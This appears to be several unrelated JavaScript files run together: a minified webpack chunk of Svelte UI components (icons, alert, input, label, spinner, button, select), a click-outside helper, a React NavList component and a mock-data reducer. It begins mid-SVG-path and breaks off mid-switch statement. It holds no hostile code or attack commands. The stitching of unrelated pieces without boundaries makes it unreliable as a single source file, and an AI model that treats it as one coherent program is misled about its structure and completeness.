16H0V6h20v10h-4v4H4v-4zm2-4v6h8v-6H6zM4 0h12v5H4V0zM2 8v2h2V8H2zm4 0v2h2V8H6z"),(0,a.Lj)(t,"class",i=e[1].class),(0,a.Lj)(t,"viewBox","0 0 20 20"),(0,a.Lj)(t,"xmlns","http://www.w3.org/2000/svg")},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n)},p(e,n){2&n&&i!==(i=e[1].class)&&(0,a.Lj)(t,"class",i)},d(e){e&&(0,a.og)(t)}}}function l(e){let t,n,i;return{c(){t=(0,a.bi)("svg"),n=(0,a.bi)("path"),(0,a.Lj)(n,"fill-rule","evenodd"),(0,a.Lj)(n,"d","M7 0h86v100H57.108V88.418H42.892V100H7V0zm9 64h11v15H16V64zm57 0h11v15H73V64zm-19 0h11v15H54V64zm-19 0h11v15H35V64zM16 37h11v15H16V37zm57 0h11v15H73V37zm-19 0h11v15H54V37zm-19 0h11v15H35V37zM16 11h11v15H16V11zm57 0h11v15H73V11zm-19 0h11v15H54V11zm-19 0h11v15H35V11z"),(0,a.Lj)(t,"class",i=e[1].class),(0,a.Lj)(t,"viewBox","0 0 100 100"),(0,a.Lj)(t,"xmlns","http://www.w3.org/2000/svg")},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n)},p(e,n){2&n&&i!==(i=e[1].class)&&(0,a.Lj)(t,"class",i)},d(e){e&&(0,a.og)(t)}}}function u(e){let t,n,i;return{c(){t=(0,a.bi)("svg"),n=(0,a.bi)("path"),(0,a.Lj)(n,"d","M10 20S3 10.87 3 7a7 7 0 1 1 14 0c0 3.87-7 13-7 13zm0-11a2 2 0 1 0 0-4 2 2 0 0 0 0 4z"),(0,a.Lj)(t,"class",i=e[1].class),(0,a.Lj)(t,"viewBox","0 0 20 20"),(0,a.Lj)(t,"xmlns","http://www.w3.org/2000/svg")},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n)},p(e,n){2&n&&i!==(i=e[1].class)&&(0,a.Lj)(t,"class",i)},d(e){e&&(0,a.og)(t)}}}function c(e){let t,n,i;return{c(){t=(0,a.bi)("svg"),n=(0,a.bi)("path"),(0,a.Lj)(n,"d","M10 20a10 10 0 1 1 0-20 10 10 0 0 1 0 20zm-5.6-4.29a9.95 9.95 0 0 1 11.2 0 8 8 0 1 0-11.2 0zm6.12-7.64l3.02-3.02 1.41 1.41-3.02 3.02a2 2 0 1 1-1.41-1.41z"),(0,a.Lj)(t,"class",i=e[1].class),(0,a.Lj)(t,"viewBox","0 0 20 20"),(0,a.Lj)(t,"xmlns","http://www.w3.org/2000/svg")},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n)},p(e,n){2&n&&i!==(i=e[1].class)&&(0,a.Lj)(t,"class",i)},d(e){e&&(0,a.og)(t)}}}function m(e){let t,n,i;return{c(){t=(0,a.bi)("svg"),n=(0,a.bi)("polygon"),(0,a.Lj)(n,"points","12.95 10.707 13.657 10 8 4.343 6.586 5.757 10.828 10 6.586 14.243 8 15.657 12.95 10.707"),(0,a.Lj)(t,"class",i=e[1].class),(0,a.Lj)(t,"viewBox","0 0 20 20"),(0,a.Lj)(t,"xmlns","http://www.w3.org/2000/svg")},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n)},p(e,n){2&n&&i!==(i=e[1].class)&&(0,a.Lj)(t,"class",i)},d(e){e&&(0,a.og)(t)}}}function _(e){let t,n,i;return{c(){t=(0,a.bi)("svg"),n=(0,a.bi)("path"),(0,a.Lj)(n,"d","M9.293 12.95l.707.707L15.657 8l-1.414-1.414L10 10.828 5.757 6.586 4.343 8z"),(0,a.Lj)(t,"class",i=e[1].class),(0,a.Lj)(t,"viewBox","0 0 20 20"),(0,a.Lj)(t,"xmlns","http://www.w3.org/2000/svg")},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n)},p(e,n){2&n&&i!==(i=e[1].class)&&(0,a.Lj)(t,"class",i)},d(e){e&&(0,a.og)(t)}}}function h(e){let t,n,i;return{c(){t=(0,a.bi)("svg"),n=(0,a.bi)("path"),(0,a.Lj)(n,"d","M6 4H5a1 1 0 1 1 0-2h11V1a1 1 0 0 0-1-1H4a2 2 0 0 0-2 2v16c0 1.1.9 2 2 2h12a2 2 0 0 0 2-2V5a1 1 0 0 0-1-1h-7v8l-2-2-2 2V4z"),(0,a.Lj)(t,"class",i=e[1].class),(0,a.Lj)(t,"viewBox","0 0 20 20"),(0,a.Lj)(t,"xmlns","http://www.w3.org/2000/svg")},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n)},p(e,n){2&n&&i!==(i=e[1].class)&&(0,a.Lj)(t,"class",i)},d(e){e&&(0,a.og)(t)}}}function f(e){let t,n,i,r,s;return{c(){t=(0,a.bi)("svg"),n=(0,a.bi)("g"),i=(0,a.bi)("path"),r=(0,a.bi)("path"),(0,a.Lj)(i,"d","M46.173 19.967C49.927-1.838 19.797-.233 14.538.21c-.429.035-.648.4-.483.8 2.004 4.825 14.168 31.66 32.118 18.957zm13.18 1.636c1.269-.891 1.35-1.614.047-2.453l-2.657-1.71c-.94-.607-1.685-.606-2.532.129-5.094 4.42-7.336 9.18-8.211 15.24 1.597.682 3.55.79 5.265.328 1.298-4.283 3.64-8.412 8.088-11.534z"),(0,a.Lj)(r,"d","M88.588 67.75c9.65-27.532-13.697-45.537-35.453-32.322-1.84 1.118-4.601 1.118-6.441 0-21.757-13.215-45.105 4.79-35.454 32.321 5.302 15.123 17.06 39.95 37.295 29.995.772-.38 1.986-.38 2.758 0 20.235 9.955 31.991-14.872 37.295-29.995z"),(0,a.Lj)(n,"fill-rule","nonzero"),(0,a.Lj)(t,"class",s=e[1].class),(0,a.Lj)(t,"viewBox","0 0 100 100"),(0,a.Lj)(t,"xmlns","http://www.w3.org/2000/svg")},m(e,s){(0,a.$T)(e,t,s),(0,a.R3)(t,n),(0,a.R3)(n,i),(0,a.R3)(n,r)},p(e,n){2&n&&s!==(s=e[1].class)&&(0,a.Lj)(t,"class",s)},d(e){e&&(0,a.og)(t)}}}function p(e){let t;function n(e,t){return"apple"===e[0]?f:"book"===e[0]?h:"cheveron-down"===e[0]?_:"cheveron-right"===e[0]?m:"dashboard"===e[0]?c:"location"===e[0]?u:"office"===e[0]?l:"printer"===e[0]?d:"shopping-cart"===e[0]?o:"store-front"===e[0]?s:"trash"===e[0]?r:"users"===e[0]?i:void 0}let p=n(e),g=p&&p(e);return{c(){g&&g.c(),t=(0,a.cS)()},m(e,n){g&&g.m(e,n),(0,a.$T)(e,t,n)},p(e,[a]){p===(p=n(e))&&g?g.p(e,a):(g&&g.d(1),g=p&&p(e),g&&(g.c(),g.m(t.parentNode,t)))},i:a.ZT,o:a.ZT,d(e){g&&g.d(e),e&&(0,a.og)(t)}}}function g(e,t,n){const i=["name"];let r=(0,a.q2)(t,i),{name:s}=t;return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(1,r=(0,a.q2)(t,i)),"name"in e&&n(0,s=e.name)},[s,r]}class L extends a.f_{constructor(e){super(),(0,a.S1)(this,e,g,p,a.N8,{name:0})}}const y=L},41565:(e,t,n)=>{"use strict";n.d(t,{Z:()=>d});var a=n(21379);function i(e){let t;return{c(){t=(0,a.bG)("p"),(0,a.Lj)(t,"class","whitespace-pre-wrap")},m(n,i){(0,a.$T)(n,t,i),t.innerHTML=e[0]},p(e,n){1&n&&(t.innerHTML=e[0])},d(e){e&&(0,a.og)(t)}}}function r(e){let t,n,r,s,o,d,l=e[0]&&i(e);const u=e[4].default,c=(0,a.nu)(u,e,e[3],null);let m=[e[1]],_={};for(let e=0;e<m.length;e+=1)_=(0,a.f0)(_,m[e]);return{c(){t=(0,a.bG)("div"),n=(0,a.bi)("svg"),r=(0,a.bi)("path"),s=(0,a.Dh)(),l&&l.c(),o=(0,a.Dh)(),c&&c.c(),(0,a.Lj)(r,"stroke-linecap","round"),(0,a.Lj)(r,"stroke-linejoin","round"),(0,a.Lj)(r,"stroke-width","2"),(0,a.Lj)(r,"d","M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"),(0,a.Lj)(n,"xmlns","http://www.w3.org/2000/svg"),(0,a.Lj)(n,"fill","none"),(0,a.Lj)(n,"viewBox","0 0 24 24"),(0,a.Lj)(n,"stroke","currentColor"),(0,a.Lj)(n,"class","w-5"),(0,a.cz)(n,"transform","translateX(-44px)"),(0,a.cz)(n,"position","absolute"),(0,a.UF)(t,_)},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n),(0,a.R3)(n,r),(0,a.R3)(t,s),l&&l.m(t,null),(0,a.R3)(t,o),c&&c.m(t,null),d=!0},p(e,[n]){e[0]?l?l.p(e,n):(l=i(e),l.c(),l.m(t,o)):l&&(l.d(1),l=null),c&&c.p&&(!d||8&n)&&(0,a.Tj)(c,u,e,e[3],d?n:-1,null,null),(0,a.UF)(t,_=(0,a.Lo)(m,[2&n&&e[1]]))},i(e){d||((0,a.Ui)(c,e),d=!0)},o(e){(0,a.et)(c,e),d=!1},d(e){e&&(0,a.og)(t),l&&l.d(),c&&c.d(e)}}}function s(e,t,n){let i;const r=["message","alertMsg"];let s=(0,a.q2)(t,r),{$$slots:o={},$$scope:d}=t,{message:l}=t,{alertMsg:u}=t;return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(5,s=(0,a.q2)(t,r)),"message"in e&&n(0,l=e.message),"alertMsg"in e&&n(2,u=e.alertMsg),"$$scope"in e&&n(3,d=e.$$scope)},e.$$.update=()=>{n(1,i={...s,class:`relative ${u?"bg-red-100 text-red-600":"bg-indigo-100 text-indigo-600"} p-5 ${s.class||""}`})},[l,i,u,d,o]}class o extends a.f_{constructor(e){super(),(0,a.S1)(this,e,s,r,a.N8,{message:0,alertMsg:2})}}const d=o},93879:(e,t,n)=>{"use strict";n.d(t,{Z:()=>c});var a=n(21379),i=n(48825),r=n(37811),s=n(34236);function o(e){let t,n;return t=new r.Z({props:{message:e[3]}}),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n&&(a.message=e[3]),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}function d(e){let t,n,r,d,l,u,c;n=new i.Z({props:{label:e[2],id:e[1]}});const m=[{disabled:e[5]},{variant:"outlined"},e[7],{id:e[1]},{type:e[4]},{value:e[0]},{label:e[2]}];let _={};for(let e=0;e<m.length;e+=1)_=(0,a.f0)(_,m[e]);d=new s.ZP({props:_}),e[12](d),d.$on("input",e[8]);let h=e[3]&&o(e);return{c(){t=(0,a.bG)("div"),(0,a.YC)(n.$$.fragment),r=(0,a.Dh)(),(0,a.YC)(d.$$.fragment),l=(0,a.Dh)(),h&&h.c(),(0,a.Lj)(t,"class",u=e[9].class)},m(e,i){(0,a.$T)(e,t,i),(0,a.ye)(n,t,null),(0,a.R3)(t,r),(0,a.ye)(d,t,null),(0,a.R3)(t,l),h&&h.m(t,null),c=!0},p(e,[i]){const r={};4&i&&(r.label=e[2]),2&i&&(r.id=e[1]),n.$set(r);const s=183&i?(0,a.Lo)(m,[32&i&&{disabled:e[5]},m[1],128&i&&(0,a.gC)(e[7]),2&i&&{id:e[1]},16&i&&{type:e[4]},1&i&&{value:e[0]},4&i&&{label:e[2]}]):{};d.$set(s),e[3]?h?(h.p(e,i),8&i&&(0,a.Ui)(h,1)):(h=o(e),h.c(),(0,a.Ui)(h,1),h.m(t,null)):h&&((0,a.dv)(),(0,a.et)(h,1,1,(()=>{h=null})),(0,a.gb)()),(!c||512&i&&u!==(u=e[9].class))&&(0,a.Lj)(t,"class",u)},i(e){c||((0,a.Ui)(n.$$.fragment,e),(0,a.Ui)(d.$$.fragment,e),(0,a.Ui)(h),c=!0)},o(e){(0,a.et)(n.$$.fragment,e),(0,a.et)(d.$$.fragment,e),(0,a.et)(h),c=!1},d(i){i&&(0,a.og)(t),(0,a.vp)(n),e[12](null),(0,a.vp)(d),h&&h.d()}}}function l(e,t,n){let i;const r=["id","value","label","error","type","disabled","focus","select"];let s,o=(0,a.q2)(t,r),{id:d}=t,{value:l}=t,{label:u}=t,{error:c}=t,{type:m}=t,{disabled:_}=t;return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(9,o=(0,a.q2)(t,r)),"id"in e&&n(1,d=e.id),"value"in e&&n(0,l=e.value),"label"in e&&n(2,u=e.label),"error"in e&&n(3,c=e.error),"type"in e&&n(4,m=e.type),"disabled"in e&&n(5,_=e.disabled)},e.$$.update=()=>{n(7,i={...o,class:"w-full block bg-white"})},[l,d,u,c,m,_,s,i,function(e){n(0,l=e.target.value)},o,()=>s.focus(),()=>s.select(),function(e){a.Vn[e?"unshift":"push"]((()=>{s=e,n(6,s)}))}]}class u extends a.f_{constructor(e){super(),(0,a.S1)(this,e,l,d,a.N8,{id:1,value:0,label:2,error:3,type:4,disabled:5,focus:10,select:11})}get focus(){return this.$$.ctx[10]}get select(){return this.$$.ctx[11]}}const c=u},37811:(e,t,n)=>{"use strict";n.d(t,{Z:()=>d});var a=n(21379);function i(e){let t,n,i;return{c(){t=(0,a.bG)("div"),n=(0,a.bG)("p"),i=(0,a.fL)(e[0]),(0,a.Lj)(t,"class","text-red-400 bg-red-100 py-1 px-2")},m(e,r){(0,a.$T)(e,t,r),(0,a.R3)(t,n),(0,a.R3)(n,i)},p(e,t){1&t&&(0,a.rT)(i,e[0])},d(e){e&&(0,a.og)(t)}}}function r(e){let t,n=e[0]&&i(e);return{c(){n&&n.c(),t=(0,a.cS)()},m(e,i){n&&n.m(e,i),(0,a.$T)(e,t,i)},p(e,[a]){e[0]?n?n.p(e,a):(n=i(e),n.c(),n.m(t.parentNode,t)):n&&(n.d(1),n=null)},i:a.ZT,o:a.ZT,d(e){n&&n.d(e),e&&(0,a.og)(t)}}}function s(e,t,n){let{message:a}=t;return e.$$set=e=>{"message"in e&&n(0,a=e.message)},[a]}class o extends a.f_{constructor(e){super(),(0,a.S1)(this,e,s,r,a.N8,{message:0})}}const d=o},48825:(e,t,n)=>{"use strict";n.d(t,{Z:()=>l});var a=n(21379);function i(e){let t,n,i,s=e[2]&&r(e),o=[e[3],{for:e[0]}],d={};for(let e=0;e<o.length;e+=1)d=(0,a.f0)(d,o[e]);return{c(){t=(0,a.bG)("label"),n=new a.FW,i=(0,a.Dh)(),s&&s.c(),n.a=i,(0,a.UF)(t,d)},m(r,o){(0,a.$T)(r,t,o),n.m(e[1],t),(0,a.R3)(t,i),s&&s.m(t,null)},p(e,i){2&i&&n.p(e[1]),e[2]?s||(s=r(e),s.c(),s.m(t,null)):s&&(s.d(1),s=null),(0,a.UF)(t,d=(0,a.Lo)(o,[8&i&&e[3],1&i&&{for:e[0]}]))},d(e){e&&(0,a.og)(t),s&&s.d()}}}function r(e){let t;return{c(){t=(0,a.bG)("small"),t.textContent="* Campo obligatorio",(0,a.Lj)(t,"class","label-required text-red-400")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function s(e){let t,n=e[1]&&i(e);return{c(){n&&n.c(),t=(0,a.cS)()},m(e,i){n&&n.m(e,i),(0,a.$T)(e,t,i)},p(e,[a]){e[1]?n?n.p(e,a):(n=i(e),n.c(),n.m(t.parentNode,t)):n&&(n.d(1),n=null)},i:a.ZT,o:a.ZT,d(e){n&&n.d(e),e&&(0,a.og)(t)}}}function o(e,t,n){let i;const r=["labelFor","value","required"];let s=(0,a.q2)(t,r),{labelFor:o}=t,{value:d}=t,{required:l}=t;return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(4,s=(0,a.q2)(t,r)),"labelFor"in e&&n(0,o=e.labelFor),"value"in e&&n(1,d=e.value),"required"in e&&n(2,l=e.required)},e.$$.update=()=>{n(3,i={...s,class:`block font-medium text-sm text-gray-700 ${s.class||""}`})},[o,d,l,i]}class d extends a.f_{constructor(e){super(),(0,a.S1)(this,e,o,s,a.N8,{labelFor:0,value:1,required:2})}}const l=d},64294:(e,t,n)=>{"use strict";n.d(t,{Z:()=>me});var a=n(21379),i=n(93379),r=n.n(i),s=n(2149),o={insert:"head",singleton:!1};r()(s.Z,o);s.Z.locals;var d=n(77257),l={insert:"head",singleton:!1};r()(d.Z,l);d.Z.locals;var u=n(49451),c={insert:"head",singleton:!1};r()(u.Z,c);u.Z.locals;var m=n(17901),_={insert:"head",singleton:!1};r()(m.Z,_);m.Z.locals;var h=n(7672),f={insert:"head",singleton:!1};r()(h.Z,f);h.Z.locals;var p=n(67729),g={insert:"head",singleton:!1};r()(p.Z,g);p.Z.locals;var L=n(97088),y={insert:"head",singleton:!1};r()(L.Z,y);L.Z.locals;var v=n(43053),M={insert:"head",singleton:!1};r()(v.Z,M);v.Z.locals;var b=n(19231),Y={insert:"head",singleton:!1};r()(b.Z,Y);b.Z.locals;const k=/[a-zA-Z]/,w=(e,t=0)=>[...Array(e).keys()].map((e=>e+t));var T=n(3711),D={insert:"head",singleton:!1};r()(T.Z,D);T.Z.locals;function x(e,t,n){const a=e.slice();return a[6]=t[n],a}function $(e){let t;return{c(){t=(0,a.bG)("div"),(0,a.Lj)(t,"class","circle svelte-1cy66mt"),(0,a.cz)(t,"animation-delay",e[5]/3*(e[6]-1)+e[4])},m(e,n){(0,a.$T)(e,t,n)},p:a.ZT,d(e){e&&(0,a.og)(t)}}}function S(e){let t,n=w(3,1),i=[];for(let t=0;t<n.length;t+=1)i[t]=$(x(e,n,t));return{c(){t=(0,a.bG)("div");for(let e=0;e<i.length;e+=1)i[e].c();(0,a.Lj)(t,"class","wrapper svelte-1cy66mt"),(0,a.cz)(t,"--size",e[3]+e[1]),(0,a.cz)(t,"--color",e[0]),(0,a.cz)(t,"--duration",e[2])},m(e,n){(0,a.$T)(e,t,n);for(let e=0;e<i.length;e+=1)i[e].m(t,null)},p(e,[r]){if(48&r){let a;for(n=w(3,1),a=0;a<n.length;a+=1){const s=x(e,n,a);i[a]?i[a].p(s,r):(i[a]=$(s),i[a].c(),i[a].m(t,null))}for(;a<i.length;a+=1)i[a].d(1);i.length=n.length}10&r&&(0,a.cz)(t,"--size",e[3]+e[1]),1&r&&(0,a.cz)(t,"--color",e[0]),4&r&&(0,a.cz)(t,"--duration",e[2])},i:a.ZT,o:a.ZT,d(e){e&&(0,a.og)(t),(0,a.RM)(i,e)}}}function j(e,t,n){let{color:a="#FF3E00"}=t,{unit:i="px"}=t,{duration:r="1s"}=t,{size:s="60"}=t,o=r.match(k)[0],d=r.replace(k,"");return e.$$set=e=>{"color"in e&&n(0,a=e.color),"unit"in e&&n(1,i=e.unit),"duration"in e&&n(2,r=e.duration),"size"in e&&n(3,s=e.size)},[a,i,r,s,o,d]}class H extends a.f_{constructor(e){super(),(0,a.S1)(this,e,j,S,a.N8,{color:0,unit:1,duration:2,size:3})}}const C=H;var E=n(89274),O={insert:"head",singleton:!1};r()(E.Z,O);E.Z.locals;var A=n(80506),I={insert:"head",singleton:!1};r()(A.Z,I);A.Z.locals;var R=n(1257),P={insert:"head",singleton:!1};r()(R.Z,P);R.Z.locals;var F=n(49846),N={insert:"head",singleton:!1};r()(F.Z,N);F.Z.locals;var z=n(19966),U={insert:"head",singleton:!1};r()(z.Z,U);z.Z.locals;var W=n(58054),V={insert:"head",singleton:!1};r()(W.Z,V);W.Z.locals;var G=n(35143),q={insert:"head",singleton:!1};r()(G.Z,q);G.Z.locals;var B=n(82873),Z={insert:"head",singleton:!1};r()(B.Z,Z);B.Z.locals;var J=n(94146),K={insert:"head",singleton:!1};r()(J.Z,K);J.Z.locals;var X=n(11363),Q={insert:"head",singleton:!1};r()(X.Z,Q);X.Z.locals;var ee=n(47814),te={insert:"head",singleton:!1};r()(ee.Z,te);ee.Z.locals;var ne=n(64331),ae={insert:"head",singleton:!1};r()(ne.Z,ae);ne.Z.locals;var ie=n(54990),re={insert:"head",singleton:!1};r()(ie.Z,re);ie.Z.locals;var se=n(93177),oe={insert:"head",singleton:!1};r()(se.Z,oe);se.Z.locals;function de(e){let t,n,i;return n=new C({props:{size:"60",color:"#6366f1",unit:"px",duration:"1s"}}),{c(){t=(0,a.bG)("div"),(0,a.YC)(n.$$.fragment),(0,a.Lj)(t,"class","fixed right-0 bottom-0")},m(e,r){(0,a.$T)(e,t,r),(0,a.ye)(n,t,null),i=!0},i(e){i||((0,a.Ui)(n.$$.fragment,e),i=!0)},o(e){(0,a.et)(n.$$.fragment,e),i=!1},d(e){e&&(0,a.og)(t),(0,a.vp)(n)}}}function le(e){let t,n,i=!e[0]&&de();return{c(){i&&i.c(),t=(0,a.cS)()},m(e,r){i&&i.m(e,r),(0,a.$T)(e,t,r),n=!0},p(e,[n]){e[0]?i&&((0,a.dv)(),(0,a.et)(i,1,1,(()=>{i=null})),(0,a.gb)()):i?1&n&&(0,a.Ui)(i,1):(i=de(),i.c(),(0,a.Ui)(i,1),i.m(t.parentNode,t))},i(e){n||((0,a.Ui)(i),n=!0)},o(e){(0,a.et)(i),n=!1},d(e){i&&i.d(e),e&&(0,a.og)(t)}}}function ue(e,t,n){let{loading:a=!0}=t;return e.$$set=e=>{"loading"in e&&n(0,a=e.loading)},[a]}class ce extends a.f_{constructor(e){super(),(0,a.S1)(this,e,ue,le,a.N8,{loading:0})}}const me=ce},52906:(e,t,n)=>{"use strict";n.d(t,{Z:()=>f});var a=n(21379),i=n(50942),r=n(93379),s=n.n(r),o=n(46583),d={insert:"head",singleton:!1};s()(o.Z,d);o.Z.locals;function l(e){let t;return{c(){t=(0,a.bG)("div"),(0,a.Lj)(t,"class","btn-spinner mr-2")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function u(e){let t;const n=e[4].default,i=(0,a.nu)(n,e,e[5],null);return{c(){i&&i.c()},m(e,n){i&&i.m(e,n),t=!0},p(e,r){i&&i.p&&(!t||32&r)&&(0,a.Tj)(i,n,e,e[5],t?r:-1,null,null)},i(e){t||((0,a.Ui)(i,e),t=!0)},o(e){(0,a.et)(i,e),t=!1},d(e){i&&i.d(e)}}}function c(e){let t,n,r,s=e[0]&&e[2]&&l();return n=new i.__({props:{$$slots:{default:[u]},$$scope:{ctx:e}}}),{c(){s&&s.c(),t=(0,a.Dh)(),(0,a.YC)(n.$$.fragment)},m(e,i){s&&s.m(e,i),(0,a.$T)(e,t,i),(0,a.ye)(n,e,i),r=!0},p(e,a){e[0]&&e[2]?s||(s=l(),s.c(),s.m(t.parentNode,t)):s&&(s.d(1),s=null);const i={};32&a&&(i.$$scope={dirty:a,ctx:e}),n.$set(i)},i(e){r||((0,a.Ui)(n.$$.fragment,e),r=!0)},o(e){(0,a.et)(n.$$.fragment,e),r=!1},d(e){s&&s.d(e),e&&(0,a.og)(t),(0,a.vp)(n,e)}}}function m(e){let t,n;const r=[e[3],{disabled:e[0]},{action:null},{variant:e[1]}];let s={$$slots:{default:[c]},$$scope:{ctx:e}};for(let e=0;e<r.length;e+=1)s=(0,a.f0)(s,r[e]);return t=new i.ZP({props:s}),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,[n]){const i=11&n?(0,a.Lo)(r,[8&n&&(0,a.gC)(e[3]),1&n&&{disabled:e[0]},r[2],2&n&&{variant:e[1]}]):{};37&n&&(i.$$scope={dirty:n,ctx:e}),t.$set(i)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}function _(e,t,n){let i;const r=["loading","variant","disabled"];let s=(0,a.q2)(t,r),{$$slots:o={},$$scope:d}=t,{loading:l=!1}=t,{variant:u="raised"}=t,{disabled:c=!0}=t;return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(6,s=(0,a.q2)(t,r)),"loading"in e&&n(0,l=e.loading),"variant"in e&&n(1,u=e.variant),"disabled"in e&&n(2,c=e.disabled),"$$scope"in e&&n(5,d=e.$$scope)},e.$$.update=()=>{4&e.$$.dirty&&n(0,l=!c),n(3,i={...s,class:`inline-flex items-center px-4 py-2 bg-gray-800 border border-transparent rounded-md font-semibold text-xs text-white uppercase tracking-widest hover:bg-gray-700 active:bg-gray-900 focus:outline-none focus:border-gray-900 focus:shadow-outline-gray transition ease-in-out duration-150 ${s.class||""}`})},[l,u,c,i,o,d]}class h extends a.f_{constructor(e){super(),(0,a.S1)(this,e,_,m,a.N8,{loading:0,variant:1,disabled:2})}}const f=h},99695:(e,t,n)=>{"use strict";n.d(t,{Z:()=>f});var a=n(21379),i=n(90400),r=n(37811),s=n(21843),o=n(91601),d=n(93379),l=n.n(d),u=n(49299),c={insert:"head",singleton:!1};l()(u.Z,c);u.Z.locals;function m(e){let t,n,i,s;return t=new o.Z({props:{isDisabled:e[11],selectedValue:e[0]?.value?e[0]:null,inputAttributes:{id:e[2]},placeholder:e[4]?e[5]+" *":e[5],containerClasses:"items "+e[1],listPlacement:"bottom",items:e[7],autocomplete:e[6],isMulti:e[8],isSearchable:e[10],groupBy:e[9],noOptionsMessage:"No hay ítems, por favor revise los filtros"}}),t.$on("select",e[13]),t.$on("clear",e[14]),i=new r.Z({props:{message:e[3]}}),{c(){(0,a.YC)(t.$$.fragment),n=(0,a.Dh)(),(0,a.YC)(i.$$.fragment)},m(e,r){(0,a.ye)(t,e,r),(0,a.$T)(e,n,r),(0,a.ye)(i,e,r),s=!0},p(e,[n]){const a={};2048&n&&(a.isDisabled=e[11]),1&n&&(a.selectedValue=e[0]?.value?e[0]:null),4&n&&(a.inputAttributes={id:e[2]}),48&n&&(a.placeholder=e[4]?e[5]+" *":e[5]),2&n&&(a.containerClasses="items "+e[1]),128&n&&(a.items=e[7]),64&n&&(a.autocomplete=e[6]),256&n&&(a.isMulti=e[8]),1024&n&&(a.isSearchable=e[10]),512&n&&(a.groupBy=e[9]),t.$set(a);const r={};8&n&&(r.message=e[3]),i.$set(r)},i(e){s||((0,a.Ui)(t.$$.fragment,e),(0,a.Ui)(i.$$.fragment,e),s=!0)},o(e){(0,a.et)(t.$$.fragment,e),(0,a.et)(i.$$.fragment,e),s=!1},d(e){(0,a.vp)(t,e),e&&(0,a.og)(n),(0,a.vp)(i,e)}}}function _(e,t,n){let r;(0,a.FI)(e,s._,(e=>n(16,r=e)));let{classes:o=""}=t,{id:d=""}=t,{error:l}=t,{required:u}=t,{placeholder:c}=t,{autocomplete:m}=t,{items:_=[]}=t,{selectedValue:h}=t,{isMulti:f=!1}=t,{groupBy:p}=t,{isSearchable:g=!0}=t,{disabled:L=!1}=t,y=null;function v(e){n(0,h=e.detail)}(0,i.H3)((()=>{y=document.getElementById(d)})),(0,i.gx)((()=>{u&&null!=y&&(null!=h?.value?y.setCustomValidity(""):y.setCustomValidity(r("Please fill out this field.")))}));return e.$$set=e=>{"classes"in e&&n(1,o=e.classes),"id"in e&&n(2,d=e.id),"error"in e&&n(3,l=e.error),"required"in e&&n(4,u=e.required),"placeholder"in e&&n(5,c=e.placeholder),"autocomplete"in e&&n(6,m=e.autocomplete),"items"in e&&n(7,_=e.items),"selectedValue"in e&&n(0,h=e.selectedValue),"isMulti"in e&&n(8,f=e.isMulti),"groupBy"in e&&n(9,p=e.groupBy),"isSearchable"in e&&n(10,g=e.isSearchable),"disabled"in e&&n(11,L=e.disabled)},[h,o,d,l,u,c,m,_,f,p,g,L,v,e=>v(e),()=>n(0,h=null)]}class h extends a.f_{constructor(e){super(),(0,a.S1)(this,e,_,m,a.N8,{classes:1,id:2,error:3,required:4,placeholder:5,autocomplete:6,items:7,selectedValue:0,isMulti:8,groupBy:9,isSearchable:10,disabled:11})}}const f=h}}]);
var e={removeListener:!0};module.exports=function(t,r,n){var o=Object.assign({},e,n),i=function(e){if(NodeList.prototype.isPrototypeOf(t)||HTMLCollection.prototype.isPrototypeOf(t)){if(Array.from(t).some(function(t){return t.contains(e.target)}))return r(!1,e)}else{if(!HTMLElement.prototype.isPrototypeOf(t))return console.warn("Undefined type of",t),r(null,e);if(t.contains(e.target))return r(!1,e)}return o.removeListener&&document.removeEventListener("click",i),r(!0,e)};return document.addEventListener("click",i),i}; //# sourceMappingURL=vanilla-click-outside.js.map
import PropTypes from 'prop-types'; import React from 'react'; /** * Container for NavItems to be displayed. * * @param {Object} props - The read-only properties with which the new * instance is to be initialized. * @returns {ReactElement} */ export default function NavList({ children }) { return ( <div className = 'nav-list'> { children } </div> ); } NavList.propTypes = { children: PropTypes.node };
import { createContext } from 'react'; import { actionTypes } from './mockDataActions'; export const MockDataContext = createContext(null); export const mockDataState = { mockData: [], hasMockData: false, }; let mockDatumId = 0; let mockDatumKeyId = 0; const createMockDatum = id => ({ id: mockDatumId++, name: '', fieldKeys: [], content: '', type: 'mockData', }); const createFieldKeys = id => ({ id: mockDatumKeyId++, fieldKey: '', fieldType: '', }); export const mockDataReducer = (state, action) => { Object.freeze(state); let mockData = state.mockData; switch (action.type) { case actionTypes.TOGGLE_MOCK_DATA: if (!state.hasMockData) { mockData.push(createMockDatum()); } return { ...state, mockData, hasMockData: !state.hasMockData, }; case actionTypes.ADD_MOCK_DATA: mockData.push(createMockDatum()); return { ...state, mockData, }; case actionTypes.DELETE_MOCK_DATA: mockData = mockData.filter(mockDatum => mockDatum.id !== action.id); return { ...state, mockData, }; case actionTypes.UPDATE_MOCK_DATA_NAME: mockData = mockData.map(mockDatum => { if (mockDatum.id === action.id) { mockDatum.name = action.name; } return mockDatum; }); return { ...state, mockData, }; case 